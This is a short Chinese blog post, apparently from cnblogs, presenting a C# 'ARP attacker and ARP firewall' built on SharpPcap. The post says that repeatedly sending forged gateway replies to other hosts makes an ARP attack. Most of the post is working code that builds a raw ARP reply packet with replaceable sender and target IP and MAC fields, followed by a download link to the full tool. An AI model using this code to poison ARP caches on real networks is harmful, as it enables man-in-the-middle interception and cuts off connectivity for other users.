zoukankan      html  css  js  c++  java
  • c# 写的ARP攻击器和ARP防火墙

         首先你要先看看ARP是什么东西,我就不给你讲了。知道原理就行。

    我这个代码是调用开源项目SharpPcap开源的网络捕获项目http://sourceforge.net/projects/sharppcap/

      这个项目和所有sniffer软件一样,是用wincap库的。需要安装wincap。http://www.winpcap.org/

     

    核心代码贴出了,就是这么简单,手动构造ARP数据包,然后通过sharppcap里的库发送出去。。。

    不停的发给自己正确的网关,那就是ARP防火墙。

    不停的发给别人错误的网关,那就是ARP攻击器。

    /// <summary>
    /// 获取数据包
    /// </summary>
    /// <returns></returns>
    public byte[] getPacket(byte[] yIP,byte[] mIP,byte[] yMAC,byte[] mMAC)
    {
    //ARP数据包
    byte[] packet = new byte[] { 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0xc0, 0xa8, 0x01, 0x01, 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0xc0, 0xa8, 0x01, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5d, 0x27, 0xa1, 0xb5};

    //循环替换IP
    for (int i = 0; i < 4; i++)
    {
    packet[i
    + 28] = yIP[i];


    packet[i
    + 38] = mIP[i];
    }

    //循环替换MAC
    for (int i = 0; i < 6; i++)
    {
    packet[i
    + 22] = yMAC[i];
    packet[i]
    = mMAC[i];
    packet[i
    +6] = yMAC[i];
    packet[i
    + 32] = mMAC[i];
    }

    return packet;
    }
    看看这个链接能下不  https://files.cnblogs.com/zifeiniu/ARP%E6%94%BB%E5%87%BB%E5%92%8C%E9%98%B2%E7%81%AB%E5%A2%99.rar

                                 子非牛  QQ 378716196

  • 相关阅读:
    Dubbo介绍以及Dubbo Admin的安装
    CentOS下安Zookeeper服务
    Linux定时备份mysql数据库
    Spring Boot 整合Mybatis 框架以及使用
    Sprint Boot日志功能的使用
    Centos下安装Redis服务
    Java 通用md5工具类
    Screen 用法简述
    解决zabbix的cannot allocate shared memory of size错误
    Python 之禅
  • 原文地址:https://www.cnblogs.com/zifeiniu/p/2083015.html
Copyright © 2011-2022 走看看